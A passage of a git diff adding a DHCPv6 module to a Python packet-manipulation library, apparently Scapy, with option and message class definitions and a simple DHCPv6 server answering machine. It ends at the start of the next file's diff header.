+                    FieldLenField("optlen", None, length_of="bcmcsdomains"),
+                    DomainNameListField("bcmcsdomains", [],
+                                        length_from = lambda pkt: pkt.optlen) ]
+
+class DHCP6OptBCMCSServers(_DHCP6OptGuessPayload):              #RFC4280
+    name = "DHCP6 Option - BCMCS Addresses List"
+    fields_desc = [ ShortEnumField("optcode", 34, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="bcmcsservers"),
+                    IP6ListField("bcmcsservers", [],
+                                 length_from= lambda pkt: pkt.optlen) ]
+
+# TODO : Does Nothing at the moment
+class DHCP6OptGeoConf(_DHCP6OptGuessPayload):               #RFC-ietf-geopriv-dhcp-civil-09.txt
+    name = ""
+    fields_desc = [ ShortEnumField("optcode", 36, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="optdata"),
+                    StrLenField("optdata", "",
+                                length_from = lambda pkt: pkt.optlen) ]
+
+# TODO: see if we encounter opaque values from vendor devices
+class DHCP6OptRemoteID(_DHCP6OptGuessPayload):                   #RFC4649
+    name = "DHCP6 Option - Relay Agent Remote-ID"
+    fields_desc = [ ShortEnumField("optcode", 37, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="remoteid",
+                                  adjust = lambda pkt,x: x+4),
+                    IntEnumField("enterprisenum", None, iana_enterprise_num),
+                    StrLenField("remoteid", "",
+                                length_from = lambda pkt: pkt.optlen-4) ]
+
+# TODO : 'subscriberid' default value should be at least 1 byte long
+class DHCP6OptSubscriberID(_DHCP6OptGuessPayload):               #RFC4580
+    name = "DHCP6 Option - Subscriber ID"
+    fields_desc = [ ShortEnumField("optcode", 38, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="subscriberid"),
+                    StrLenField("subscriberid", "",
+                                length_from = lambda pkt: pkt.optlen) ]
+
+# TODO :  "The data in the Domain Name field MUST be encoded
+#          as described in Section 8 of [5]"
+class DHCP6OptClientFQDN(_DHCP6OptGuessPayload):                 #RFC4704
+    name = "DHCP6 Option - Client FQDN"
+    fields_desc = [ ShortEnumField("optcode", 39, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="fqdn",
+                                  adjust = lambda pkt,x: x+1),
+                    BitField("res", 0, 5),
+                    FlagsField("flags", 0, 3, "SON" ),
+                    DomainNameField("fqdn", "",
+                                    length_from = lambda pkt: pkt.optlen-1) ]
+
+class DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload):       # RFC4994
+    name = "DHCP6 Option - RelayRequest Option"
+    fields_desc = [ ShortEnumField("optcode", 43, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="reqopts", fmt="!H"),
+                    _OptReqListField("reqopts", [23, 24],
+                                     length_from = lambda pkt: pkt.optlen) ]
+
+# "Client link-layer address type.  The link-layer type MUST be a valid hardware
+# type assigned by the IANA, as described in [RFC0826]
+class DHCP6OptClientLinkLayerAddr(_DHCP6OptGuessPayload):  # RFC6939
+    name = "DHCP6 Option - Client Link Layer address"
+    fields_desc = [ ShortEnumField("optcode", 79, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="clladdr",
+                                  adjust = lambda pkt,x: x+1),
+                    ShortField("lltype", 1), # ethernet
+                    _LLAddrField("clladdr", ETHER_ANY) ]
+
+# Virtual Subnet selection
+class DHCP6OptVSS(_DHCP6OptGuessPayload):  # RFC6607
+    name = "DHCP6 Option - Virtual Subnet Selection"
+    fields_desc = [ ShortEnumField("optcode", 68, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="data",
+                                  adjust = lambda pkt,x: x+1),
+                    ByteField("type", 255), # Default Global/default table
+                    StrLenField("data", "",
+                                length_from = lambda pkt: pkt.optlen) ]
+
+
+#####################################################################
+###                        DHCPv6 messages                        ###
+#####################################################################
+
+# Some state parameters of the protocols that should probably be 
+# useful to have in the configuration (and keep up-to-date)
+DHCP6RelayAgentUnicastAddr=""
+DHCP6RelayHopCount=""
+DHCP6ServerUnicastAddr=""
+DHCP6ClientUnicastAddr=""
+DHCP6ClientIA_TA=""
+DHCP6ClientIA_NA=""
+DHCP6ClientIAID=""
+T1="" # Voir 2462
+T2="" # Voir 2462
+DHCP6ServerDUID=""
+DHCP6CurrentTransactionID="" # devrait etre utilise pour matcher une
+# reponse et mis a jour en mode client par une valeur aleatoire pour
+# laquelle on attend un retour de la part d'un serveur.
+DHCP6PrefVal="" # la valeur de preference a utiliser dans
+# les options preference
+
+# Emitted by :
+# - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay)
+# - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE,
+#            INFORMATION REQUEST
+# - relay  : RELAY-FORW (toward server)
+
+#####################################################################
+## DHCPv6 messages sent between Clients and Servers (types 1 to 11)
+# Comme specifie en section 15.1 de la RFC 3315, les valeurs de
+# transaction id sont selectionnees de maniere aleatoire par le client
+# a chaque emission et doivent matcher dans les reponses faites par
+# les clients
+class DHCP6(_DHCP6OptGuessPayload):
+    name = "DHCPv6 Generic Message"
+    fields_desc = [ ByteEnumField("msgtype",None,dhcp6types),
+                    X3BytesField("trid",0x000000) ]
+    overload_fields = { UDP: {"sport": 546, "dport": 547} }
+
+    def hashret(self):
+        return struct.pack("!I", self.trid)[1:4]
+
+#### DHCPv6 Relay Message Option ####################################
+
+# Relayed message is seen as a payload.
+class DHCP6OptRelayMsg(_DHCP6OptGuessPayload):  # RFC sect 22.10
+    name = "DHCP6 Relay Message Option"
+    fields_desc = [ ShortEnumField("optcode", 9, dhcp6opts), 
+                    FieldLenField("optlen", None, fmt="!H",
+                        length_of="message"),
+                    PacketLenField("message", DHCP6(), DHCP6,
+                        length_from=lambda p: p.optlen) ]
+
+#####################################################################
+# Solicit Message : sect 17.1.1 RFC3315
+# - sent by client
+# - must include a client identifier option
+# - the client may include IA options for any IAs to which it wants the
+#   server to assign address
+# - The client use IA_NA options to request the assignment of
+#   non-temporary addresses and uses IA_TA options to request the
+#   assignment of temporary addresses
+# - The client should include an Option Request option to indicate the
+#   options the client is interested in receiving (eventually
+#   including hints)
+# - The client includes a Reconfigure Accept option if is willing to
+#   accept Reconfigure messages from the server.
+# Le cas du send and reply est assez particulier car suivant la
+# presence d'une option rapid commit dans le solicit, l'attente
+# s'arrete au premier message de reponse recu ou alors apres un
+# timeout. De la meme maniere, si un message Advertise arrive avec une
+# valeur de preference de 255, il arrete l'attente et envoie une
+# Request.
+# - The client announces its intention to use DHCP authentication by
+# including an Authentication option in its solicit message. The
+# server selects a key for the client based on the client's DUID. The
+# client and server use that key to authenticate all DHCP messages
+# exchanged during the session
+
+class DHCP6_Solicit(DHCP6):
+    name = "DHCPv6 Solicit Message"
+    msgtype = 1
+    overload_fields = { UDP: {"sport": 546, "dport": 547} }
+
+#####################################################################
+# Advertise Message
+# - sent by server
+# - Includes a server identifier option
+# - Includes a client identifier option
+# - the client identifier option must match the client's DUID
+# - transaction ID must match
+
+class DHCP6_Advertise(DHCP6):
+    name = "DHCPv6 Advertise Message"
+    msgtype = 2
+    overload_fields = { UDP: {"sport": 547, "dport": 546} }
+    
+    def answers(self, other):
+        return (isinstance(other,DHCP6_Solicit) and 
+                other.msgtype == 1 and
+                self.trid == other.trid)
+
+#####################################################################
+# Request Message
+# - sent by clients
+# - includes a server identifier option
+# - the content of Server Identifier option must match server's DUID
+# - includes a client identifier option
+# - must include an ORO Option (even with hints) p40
+# - can includes a reconfigure Accept option indicating whether or
+#   not the client is willing to accept Reconfigure messages from
+#   the server (p40)
+# - When the server receives a Request message via unicast from a
+# client to which the server has not sent a unicast option, the server
+# discards the Request message and responds with a Reply message
+# containing Status Code option with the value UseMulticast, a Server
+# Identifier Option containing the server's DUID, the client
+# Identifier option from the client message and no other option.
+
+class DHCP6_Request(DHCP6):
+    name = "DHCPv6 Request Message"
+    msgtype = 3
+
+#####################################################################
+# Confirm Message
+# - sent by clients
+# - must include a client identifier option
+# - When the server receives a Confirm Message, the server determines
+# whether the addresses in the Confirm message are appropriate for the
+# link to which the client is attached. cf p50
+
+class DHCP6_Confirm(DHCP6):
+    name = "DHCPv6 Confirm Message"
+    msgtype = 4
+    
+#####################################################################
+# Renew Message
+# - sent by clients
+# - must include a server identifier option
+# - content of server identifier option must match the server's identifier
+# - must include a client identifier option
+# - the clients includes any IA assigned to the interface that may
+# have moved to a new link, along with the addresses associated with
+# those IAs in its confirm messages
+# - When the server receives a Renew message that contains an IA
+# option from a client, it locates the client's binding and verifies
+# that the information in the IA from the client matches the
+# information for that client. If the server cannot find a client
+# entry for the IA the server returns the IA containing no addresses
+# with a status code option est to NoBinding in the Reply message. cf
+# p51 pour le reste.
+
+class DHCP6_Renew(DHCP6):
+    name = "DHCPv6 Renew Message"
+    msgtype = 5
+    
+#####################################################################
+# Rebind Message
+# - sent by clients
+# - must include a client identifier option
+# cf p52
+
+class DHCP6_Rebind(DHCP6):
+    name = "DHCPv6 Rebind Message"
+    msgtype = 6
+    
+#####################################################################
+# Reply Message
+# - sent by servers
+# - the message must include a server identifier option
+# - transaction-id field must match the value of original message
+# The server includes a Rapid Commit option in the Reply message to
+# indicate that the reply is in response to a solicit message
+# - if the client receives a reply message with a Status code option
+# with the value UseMulticast, the client records the receipt of the
+# message and sends subsequent messages to the server through the
+# interface on which the message was received using multicast. The
+# client resends the original message using multicast
+# - When the client receives a NotOnLink status from the server in
+# response to a Confirm message, the client performs DHCP server
+# solicitation as described in section 17 and client-initiated
+# configuration as descrribed in section 18 (RFC 3315)
+# - when the client receives a NotOnLink status from the server in
+# response to a Request, the client can either re-issue the Request
+# without specifying any addresses or restart the DHCP server
+# discovery process.
+# - the server must include a server identifier option containing the
+# server's DUID in the Reply message
+
+class DHCP6_Reply(DHCP6):
+    name = "DHCPv6 Reply Message"
+    msgtype = 7
+
+    overload_fields = { UDP: {"sport": 547, "dport": 546} }
+    
+    def answers(self, other):
+
+        types = (DHCP6_InfoRequest, DHCP6_Confirm, DHCP6_Rebind, DHCP6_Decline, DHCP6_Request, DHCP6_Release, DHCP6_Renew)
+
+        return (isinstance(other, types) and
+                self.trid == other.trid)
+
+#####################################################################
+# Release Message
+# - sent by clients
+# - must include a server identifier option
+# cf p53
+
+class DHCP6_Release(DHCP6):
+    name = "DHCPv6 Release Message"
+    msgtype = 8
+    
+#####################################################################
+# Decline Message
+# - sent by clients
+# - must include a client identifier option
+# - Server identifier option must match server identifier
+# - The addresses to be declined must be included in the IAs. Any
+# addresses for the IAs the client wishes to continue to use should
+# not be in added to the IAs.
+# - cf p54 
+
+class DHCP6_Decline(DHCP6):
+    name = "DHCPv6 Decline Message"
+    msgtype = 9
+    
+#####################################################################
+# Reconfigure Message
+# - sent by servers
+# - must be unicast to the client
+# - must include a server identifier option
+# - must include a client identifier option that contains the client DUID
+# - must contain a Reconfigure Message Option and the message type
+#   must be a valid value
+# - the server sets the transaction-id to 0
+# - The server must use DHCP Authentication in the Reconfigure
+# message. Autant dire que ca va pas etre le type de message qu'on va
+# voir le plus souvent.
+
+class DHCP6_Reconf(DHCP6):
+    name = "DHCPv6 Reconfigure Message"
+    msgtype = 10
+    overload_fields = { UDP: { "sport": 547, "dport": 546 } }
+
+    
+#####################################################################
+# Information-Request Message
+# - sent by clients when needs configuration information but no
+# addresses. 
+# - client should include a client identifier option to identify
+# itself. If it doesn't the server is not able to return client
+# specific options or the server can choose to not respond to the
+# message at all. The client must include a client identifier option
+# if the message will be authenticated.
+# - client must include an ORO of option she's interested in receiving
+# (can include hints)
+
+class DHCP6_InfoRequest(DHCP6):
+    name = "DHCPv6 Information Request Message"    
+    msgtype = 11 
+    
+#####################################################################
+# sent between Relay Agents and Servers 
+#
+# Normalement, doit inclure une option "Relay Message Option"
+# peut en inclure d'autres.
+# voir section 7.1 de la 3315
+
+# Relay-Forward Message
+# - sent by relay agents to servers
+# If the relay agent relays messages to the All_DHCP_Servers multicast
+# address or other multicast addresses, it sets the Hop Limit field to
+# 32. 
+
+class DHCP6_RelayForward(_DHCP6OptGuessPayload,Packet):
+    name = "DHCPv6 Relay Forward Message (Relay Agent/Server Message)"
+    fields_desc = [ ByteEnumField("msgtype", 12, dhcp6types),
+                    ByteField("hopcount", None),
+                    IP6Field("linkaddr", "::"),
+                    IP6Field("peeraddr", "::") ]
+    overload_fields = { UDP: { "sport": 547, "dport": 547 } }
+    def hashret(self): # we filter on peer address field
+        return inet_pton(socket.AF_INET6, self.peeraddr)
+
+#####################################################################
+# sent between Relay Agents and Servers 
+# Normalement, doit inclure une option "Relay Message Option"
+# peut en inclure d'autres.
+# Les valeurs des champs hop-count, link-addr et peer-addr
+# sont copiees du message Forward associe. POur le suivi de session.
+# Pour le moment, comme decrit dans le commentaire, le hashret
+# se limite au contenu du champ peer address.
+# Voir section 7.2 de la 3315.
+
+# Relay-Reply Message
+# - sent by servers to relay agents
+# - if the solicit message was received in a Relay-Forward message,
+# the server constructs a relay-reply message with the Advertise
+# message in the payload of a relay-message. cf page 37/101. Envoie de
+# ce message en unicast au relay-agent. utilisation de l'adresse ip
+# presente en ip source du paquet recu
+
+class DHCP6_RelayReply(DHCP6_RelayForward):
+    name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)"
+    msgtype = 13
+    def hashret(self): # We filter on peer address field.
+        return inet_pton(socket.AF_INET6, self.peeraddr)
+    def answers(self, other):
+        return (isinstance(other, DHCP6_RelayForward) and
+                self.hopcount == other.hopcount and
+                self.linkaddr == other.linkaddr and
+                self.peeraddr == other.peeraddr )
+
+
+dhcp6_cls_by_type = {  1: "DHCP6_Solicit",
+                       2: "DHCP6_Advertise",
+                       3: "DHCP6_Request",
+                       4: "DHCP6_Confirm",
+                       5: "DHCP6_Renew",
+                       6: "DHCP6_Rebind",
+                       7: "DHCP6_Reply",
+                       8: "DHCP6_Release",
+                       9: "DHCP6_Decline",
+                      10: "DHCP6_Reconf",
+                      11: "DHCP6_InfoRequest",
+                      12: "DHCP6_RelayForward",
+                      13: "DHCP6_RelayReply" }
+
+def _dhcp6_dispatcher(x, *args, **kargs):
+    cls = conf.raw_layer
+    if len(x) >= 2:
+        cls = get_cls(dhcp6_cls_by_type.get(orb(x[0]), "Raw"), conf.raw_layer)
+    return cls(x, *args, **kargs)
+
+bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 547 } )
+bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 546 } )
+
+
+
+class DHCPv6_am(AnsweringMachine):
+    function_name = "dhcp6d"
+    filter = "udp and port 546 and port 547" 
+    send_function = staticmethod(send)
+    def usage(self):
+        msg = """
+DHCPv6_am.parse_options( dns="2001:500::1035", domain="localdomain, local",
+        duid=None, iface=conf.iface6, advpref=255, sntpservers=None, 
+        sipdomains=None, sipservers=None, 
+        nisdomain=None, nisservers=None, 
+        nispdomain=None, nispservers=None,
+        bcmcsdomains=None, bcmcsservers=None)
+
+   debug : When set, additional debugging information is printed. 
+
+   duid   : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none
+            is provided a DUID_LLT is constructed based on the MAC 
+            address of the sending interface and launch time of dhcp6d 
+            answering machine. 
+  
+   iface : the interface to listen/reply on if you do not want to use 
+           conf.iface6.
+
+   advpref : Value in [0,255] given to Advertise preference field.
+             By default, 255 is used. Be aware that this specific
+             value makes clients stops waiting for further Advertise
+             messages from other servers.
+
+   dns : list of recursive DNS servers addresses (as a string or list). 
+         By default, it is set empty and the associated DHCP6OptDNSServers
+         option is inactive. See RFC 3646 for details.
+   domain : a list of DNS search domain (as a string or list). By default, 
+         it is empty and the associated DHCP6OptDomains option is inactive.
+         See RFC 3646 for details.
+
+   sntpservers : a list of SNTP servers IPv6 addresses. By default,
+         it is empty and the associated DHCP6OptSNTPServers option 
+         is inactive. 
+
+   sipdomains : a list of SIP domains. By default, it is empty and the
+         associated DHCP6OptSIPDomains option is inactive. See RFC 3319
+         for details.
+   sipservers : a list of SIP servers IPv6 addresses. By default, it is 
+         empty and the associated DHCP6OptSIPDomains option is inactive. 
+         See RFC 3319 for details.
+
+   nisdomain : a list of NIS domains. By default, it is empty and the
+         associated DHCP6OptNISDomains option is inactive. See RFC 3898
+         for details. See RFC 3646 for details.
+   nisservers : a list of NIS servers IPv6 addresses. By default, it is 
+         empty and the associated DHCP6OptNISServers option is inactive.
+         See RFC 3646 for details.
+
+   nispdomain : a list of NIS+ domains. By default, it is empty and the
+         associated DHCP6OptNISPDomains option is inactive. See RFC 3898
+         for details.
+   nispservers : a list of NIS+ servers IPv6 addresses. By default, it is 
+         empty and the associated DHCP6OptNISServers option is inactive.
+         See RFC 3898 for details.
+
+   bcmcsdomain : a list of BCMCS domains. By default, it is empty and the
+         associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280
+         for details.
+   bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is 
+         empty and the associated DHCP6OptBCMCSServers option is inactive.
+         See RFC 4280 for details.
+
+   If you have a need for others, just ask ... or provide a patch."""
+        print(msg)
+
+    def parse_options(self, dns="2001:500::1035", domain="localdomain, local",
+                      startip="2001:db8::1", endip="2001:db8::20", duid=None,
+                      sntpservers=None, sipdomains=None, sipservers=None, 
+                      nisdomain=None, nisservers=None, nispdomain=None,
+                      nispservers=None, bcmcsservers=None, bcmcsdomains=None,
+                      iface=None, debug=0, advpref=255):
+        def norm_list(val, param_name):
+            if val is None:
+                return None
+            if isinstance(val, list):
+                return val
+            elif isinstance(val, str):
+                l = val.split(',')
+                return [x.strip() for x in l]
+            else:
+                print("Bad '%s' parameter provided." % param_name)
+                self.usage()
+                return -1
+
+        if iface is None:
+            iface = conf.iface6
+        
+        self.debug = debug
+
+        # Dictionary of provided DHCPv6 options, keyed by option type
+        self.dhcpv6_options={}
+
+        for o in [(dns, "dns", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)), 
+                  (domain, "domain", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)), 
+                  (sntpservers, "sntpservers", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)),
+                  (sipservers, "sipservers", 22, lambda x: DHCP6OptSIPServers(sipservers=x)),
+                  (sipdomains, "sipdomains", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)),
+                  (nisservers, "nisservers", 27, lambda x: DHCP6OptNISServers(nisservers=x)),
+                  (nisdomain, "nisdomain", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x+[""])[0])),
+                  (nispservers, "nispservers", 28, lambda x: DHCP6OptNISPServers(nispservers=x)), 
+                  (nispdomain, "nispdomain", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x+[""])[0])),
+                  (bcmcsservers, "bcmcsservers", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)),
+                  (bcmcsdomains, "bcmcsdomains", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]:
+
+            opt = norm_list(o[0], o[1])
+            if opt == -1: # Usage() was triggered
+                return False
+            elif opt is None: # We won't return that option
+                pass
+            else:
+                self.dhcpv6_options[o[2]] = o[3](opt)
+
+        if self.debug:
+            print("\n[+] List of active DHCPv6 options:")
+            opts = sorted(self.dhcpv6_options)
+            for i in opts:
+                print("    %d: %s" % (i, repr(self.dhcpv6_options[i])))
+
+        # Preference value used in Advertise. 
+        self.advpref = advpref
+
+        # IP Pool
+        self.startip = startip
+        self.endip   = endip
+        # XXX TODO Check IPs are in same subnet
+
+        ####
+        # The interface we are listening/replying on
+        self.iface = iface
+
+        ####        
+        # Generate a server DUID
+        if duid is not None:
+            self.duid = duid
+        else:
+            # Timeval
+            epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0)
+            delta = time.mktime(epoch) - EPOCH
+            timeval = time.time() - delta
+
+            # Mac Address
+            rawmac = get_if_raw_hwaddr(iface)[1]
+            mac = ":".join("%.02x" % orb(x) for x in rawmac)
+
+            self.duid = DUID_LLT(timeval = timeval, lladdr = mac)
+            
+        if self.debug:
+            print("\n[+] Our server DUID:") 
+            self.duid.show(label_lvl=" "*4)
+
+        ####
+        # Find the source address we will use
+        try:
+            addr = next(x for x in in6_getifaddr() if x[2] == iface and in6_islladdr(x[0]))
+        except StopIteration:
+            warning("Unable to get a Link-Local address")
+            return
+        else:
+            self.src_addr = addr[0]
+
+        ####
+        # Our leases
+        self.leases = {}
+        
+
+        if self.debug:
+            print("\n[+] Starting DHCPv6 service on %s:" % self.iface) 
+
+    def is_request(self, p):
+        if not IPv6 in p:
+            return False
+
+        src = p[IPv6].src
+
+        p = p[IPv6].payload 
+        if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547 :
+            return False
+
+        p = p.payload
+        if not isinstance(p, DHCP6):
+            return False
+
+        # Message we considered client messages :
+        # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6)
+        # Decline (9), Release (8), Information-request (11),
+        if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]):
+            return False
+
+        # Message validation following section 15 of RFC 3315
+
+        if ((p.msgtype == 1) or # Solicit 
+            (p.msgtype == 6) or # Rebind
+            (p.msgtype == 4)):  # Confirm
+            if ((not DHCP6OptClientId in p) or
+                DHCP6OptServerId in p):
+                return False
+
+            if (p.msgtype == 6 or # Rebind
+                p.msgtype == 4):  # Confirm   
+                # XXX We do not reply to Confirm or Rebind as we 
+                # XXX do not support address assignment            
+                return False
+
+        elif (p.msgtype == 3 or # Request
+              p.msgtype == 5 or # Renew
+              p.msgtype == 8):  # Release
+        
+            # Both options must be present
+            if ((not DHCP6OptServerId in p) or
+                (not DHCP6OptClientId in p)):
+                return False
+            # provided server DUID must match ours
+            duid = p[DHCP6OptServerId].duid
+            if not isinstance(duid, type(self.duid)):
+                return False
+            if raw(duid) != raw(self.duid):
+                return False
+
+            if (p.msgtype == 5 or # Renew
+                p.msgtype == 8):  # Release
+                # XXX We do not reply to Renew or Release as we 
+                # XXX do not support address assignment            
+                return False
+
+        elif p.msgtype == 9: # Decline
+            # XXX We should check if we are tracking that client
+            if not self.debug:
+                return False
+
+            bo = Color.bold
+            g = Color.green + bo
+            b = Color.blue + bo
+            n = Color.normal
+            r = Color.red
+
+            vendor  = in6_addrtovendor(src)
+            if (vendor and vendor != "UNKNOWN"):
+                vendor = " [" + b + vendor + n + "]"
+            else:
+                vendor = ""
+            src  = bo + src + n
+
+            it = p
+            addrs = []
+            while it:
+                l = []
+                if isinstance(it, DHCP6OptIA_NA):
+                    l = it.ianaopts
+                elif isinstance(it, DHCP6OptIA_TA):
+                    l = it.iataopts
+
+                addrs += [x.addr for x in l if isinstance(x, DHCP6OptIAAddress)]
+                it = it.payload
+                    
+            addrs = [bo + x + n for x in addrs]
+            if self.debug:
+                msg = r + "[DEBUG]" + n + " Received " + g + "Decline" + n 
+                msg += " from " + bo + src + vendor + " for "
+                msg += ", ".join(addrs)+ n
+                print(msg)
+
+            # See sect 18.1.7
+
+            # Sent by a client to warn us she has determined
+            # one or more addresses assigned to her is already
+            # used on the link.
+            # We should simply log that fact. No messaged should
+            # be sent in return.
+
+            # - Message must include a Server identifier option
+            # - the content of the Server identifier option must 
+            #   match the server's identifier
+            # - the message must include a Client Identifier option
+            return False
+
+        elif p.msgtype == 11: # Information-Request
+            if DHCP6OptServerId in p:
+                duid = p[DHCP6OptServerId].duid
+                if not isinstance(duid, type(self.duid)):
+                    return False
+                if raw(duid) != raw(self.duid):
+                    return False
+            if ((DHCP6OptIA_NA in p) or 
+                (DHCP6OptIA_TA in p) or
+                (DHCP6OptIA_PD in p)):
+                    return False
+        else:
+            return False
+
+        return True
+
+    def print_reply(self, req, reply):
+        def norm(s):
+            if s.startswith("DHCPv6 "):
+                s = s[7:]
+            if s.endswith(" Message"):
+                s = s[:-8]
+            return s
+        
+        if reply is None:
+            return
+
+        bo = Color.bold
+        g = Color.green + bo
+        b = Color.blue + bo
+        n = Color.normal
+        reqtype = g + norm(req.getlayer(UDP).payload.name) + n
+        reqsrc  = req.getlayer(IPv6).src
+        vendor  = in6_addrtovendor(reqsrc)
+        if (vendor and vendor != "UNKNOWN"):
+            vendor = " [" + b + vendor + n + "]"
+        else:
+            vendor = ""
+        reqsrc  = bo + reqsrc + n
+        reptype = g + norm(reply.getlayer(UDP).payload.name) + n
+
+        print("Sent %s answering to %s from %s%s" % (reptype, reqtype, reqsrc, vendor))
+
+    def make_reply(self, req):
+        p = req[IPv6]
+        req_src = p.src
+
+        p = p.payload.payload
+
+        msgtype = p.msgtype
+        trid = p.trid
+
+        if msgtype == 1: # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315)
+            
+            # XXX We don't support address or prefix assignment
+            # XXX We also do not support relay function           --arno
+
+            client_duid = p[DHCP6OptClientId].duid
+            resp  = IPv6(src=self.src_addr, dst=req_src)
+            resp /= UDP(sport=547, dport=546)
+            
+            if p.haslayer(DHCP6OptRapidCommit):
+                # construct a Reply packet 
+                resp /= DHCP6_Reply(trid=trid)
+                resp /= DHCP6OptRapidCommit() # See 17.1.2
+                resp /= DHCP6OptServerId(duid = self.duid)
+                resp /= DHCP6OptClientId(duid = client_duid)
+                
+            else: # No Rapid Commit in the packet. Reply with an Advertise                
+                
+                if (p.haslayer(DHCP6OptIA_NA) or
+                    p.haslayer(DHCP6OptIA_TA)):
+                    # XXX We don't assign addresses at the moment
+                    msg = "Scapy6 dhcp6d does not support address assignment"
+                    resp /= DHCP6_Advertise(trid = trid)
+                    resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg)
+                    resp /= DHCP6OptServerId(duid = self.duid)
+                    resp /= DHCP6OptClientId(duid = client_duid)                  
+
+                elif p.haslayer(DHCP6OptIA_PD):
+                    # XXX We don't assign prefixes at the moment
+                    msg = "Scapy6 dhcp6d does not support prefix assignment"
+                    resp /= DHCP6_Advertise(trid = trid)
+                    resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg)
+                    resp /= DHCP6OptServerId(duid = self.duid)
+                    resp /= DHCP6OptClientId(duid = client_duid)                  
+
+                else: # Usual case, no request for prefixes or addresse
+                    resp /= DHCP6_Advertise(trid = trid)
+                    resp /= DHCP6OptPref(prefval = self.advpref)
+                    resp /= DHCP6OptServerId(duid = self.duid)
+                    resp /= DHCP6OptClientId(duid = client_duid)
+                    resp /= DHCP6OptReconfAccept()
+                    
+                    # See which options should be included
+                    reqopts = []
+                    if p.haslayer(DHCP6OptOptReq): # add only asked ones
+                        reqopts = p[DHCP6OptOptReq].reqopts
+                        for o, opt in six.iteritems(self.dhcpv6_options):
+                            if o in reqopts:
+                                resp /= opt
+                    else: # advertise everything we have available
+                        for o, opt in six.iteritems(self.dhcpv6_options):
+                            resp /= opt
+
+            return resp
+
+        elif msgtype == 3: #REQUEST (INFO-REQUEST is further below)
+            client_duid = p[DHCP6OptClientId].duid
+            resp  = IPv6(src=self.src_addr, dst=req_src)
+            resp /= UDP(sport=547, dport=546)
+            resp /= DHCP6_Solicit(trid=trid)
+            resp /= DHCP6OptServerId(duid = self.duid)
+            resp /= DHCP6OptClientId(duid = client_duid)
+
+            # See which options should be included
+            reqopts = []
+            if p.haslayer(DHCP6OptOptReq): # add only asked ones
+                reqopts = p[DHCP6OptOptReq].reqopts
+                for o, opt in six.iteritems(self.dhcpv6_options):
+                    if o in reqopts:
+                        resp /= opt
+            else: 
+                # advertise everything we have available.
+                # Should not happen has clients MUST include 
+                # and ORO in requests (sec 18.1.1)   -- arno
+                for o, opt in six.iteritems(self.dhcpv6_options):
+                    resp /= opt
+
+            return resp            
+        
+        elif msgtype == 4: # CONFIRM
+            # see Sect 18.1.2
+            
+            # Client want to check if addresses it was assigned
+            # are still appropriate
+
+            # Server must discard any Confirm messages that
+            # do not include a Client Identifier option OR
+            # THAT DO INCLUDE a Server Identifier Option
+
+            # XXX we must discard the SOLICIT if it is received with
+            #     a unicast destination address
+
+            pass
+
+        elif msgtype == 5: # RENEW
+            # see Sect 18.1.3
+            
+            # Clients want to extend lifetime of assigned addresses
+            # and update configuration parameters. This message is sent
+            # specifically to the server that provided her the info
+
+            # - Received message must include a Server Identifier
+            #   option.
+            # - the content of server identifier option must match
+            #   the server's identifier.
+            # - the message must include a Client identifier option
+
+            pass
+        
+        elif msgtype == 6: # REBIND
+            # see Sect 18.1.4
+            
+            # Same purpose as the Renew message but sent to any
+            # available server after he received no response
+            # to its previous Renew message.
+
+            
+            # - Message must include a Client Identifier Option
+            # - Message can't include a Server identifier option
+
+            # XXX we must discard the SOLICIT if it is received with
+            #     a unicast destination address
+
+            pass
+
+        elif msgtype == 8: # RELEASE
+            # See section 18.1.6
+
+            # Message is sent to the server to indicate that 
+            # she will no longer use the addresses that was assigned
+            # We should parse the message and verify our dictionary
+            # to log that fact.
+
+
+            # - The message must include a server identifier option
+            # - The content of the Server Identifier option must
+            #   match the server's identifier
+            # - the message must include a Client Identifier option
+
+            pass
+
+        elif msgtype == 9: # DECLINE
+            # See section 18.1.7            
+            pass
+
+        elif msgtype == 11: # INFO-REQUEST
+            client_duid = None
+            if not p.haslayer(DHCP6OptClientId):
+                if self.debug:
+                    warning("Received Info Request message without Client Id option")
+            else:
+                client_duid = p[DHCP6OptClientId].duid
+
+            resp  = IPv6(src=self.src_addr, dst=req_src)
+            resp /= UDP(sport=547, dport=546)
+            resp /= DHCP6_Reply(trid=trid)
+            resp /= DHCP6OptServerId(duid = self.duid)
+
+            if client_duid:
+                resp /= DHCP6OptClientId(duid = client_duid)
+                
+            # Stack requested options if available
+            reqopts = []
+            if p.haslayer(DHCP6OptOptReq):
+                reqopts = p[DHCP6OptOptReq].reqopts
+            for o, opt in six.iteritems(self.dhcpv6_options):
+                resp /= opt
+
+            return resp
+
+        else:
+            # what else ?
+            pass
+
+        # - We won't support reemission
+        # - We won't support relay role, nor relay forwarded messages
+        #   at the beginning
diff --git a/scapy/layers/dns.py b/scapy/layers/dns.py
new file mode 100755
index 0000000..17a7711
--- /dev/null
